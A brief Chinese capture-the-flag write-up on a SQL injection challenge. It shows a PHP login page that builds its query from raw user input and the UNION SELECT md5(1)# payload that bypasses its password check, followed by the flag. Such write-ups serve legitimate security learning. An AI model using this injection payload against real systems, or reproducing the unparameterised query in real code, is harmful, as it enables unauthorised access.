zoukankan      html  css  js  c++  java
  • SQL注入2

    注入第二题~~主要考察union查询

    看来跟union联合查询有关

    <html>
    <head>
    Secure Web Login II
    </head>
    <body>
    
    <?php
    if($_POST[user] && $_POST[pass]) {
       mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
      mysql_select_db(SAE_MYSQL_DB);
      $user = $_POST[user];
      $pass = md5($_POST[pass]);
      $query = @mysql_fetch_array(mysql_query("select pw from ctf where user='$user'"));
      if (($query[pw]) && (!strcasecmp($pass, $query[pw]))) {
          echo "<p>Logged in! Key: ntcf{**************} </p>";
      }
      else {
        echo("<p>Log in failure!</p>");
      }
    }
    ?>
    
    
    <form method=post action=index.php>
    <input type=text name=user value="Username">
    <input type=password name=pass value="Password">
    <input type=submit>
    </form>
    </body>
    <a href="index.phps">Source</a>
    </html>
    strcasecmp()用忽略大小写比较字符串.
    $query = @mysql_fetch_array(mysql_query("select pw from ctf where user='$user'"));
    if (($query[pw]) && (!strcasecmp($pass, $query[pw])))
    观察发现只要让结果集中有你输入密码的MD5值就行
    union select md5(1)# & pass=1
    flag: ntcf{union_select_is_wtf}


  • 相关阅读:
    cocos3 单击
    cocos3 帧动画
    cocos3 动作和帧动画
    cocos3 场景切换特效
    cocos3 场景切换
    cocos3 error C2440
    c++ 匿名函数
    【leetcode】生成每种字符都是奇数个的字符串
    【leetcode】山羊拉丁文
    【leetcode】字符串的最大公因子
  • 原文地址:https://www.cnblogs.com/maodun/p/6918102.html
Copyright © 2011-2022 走看看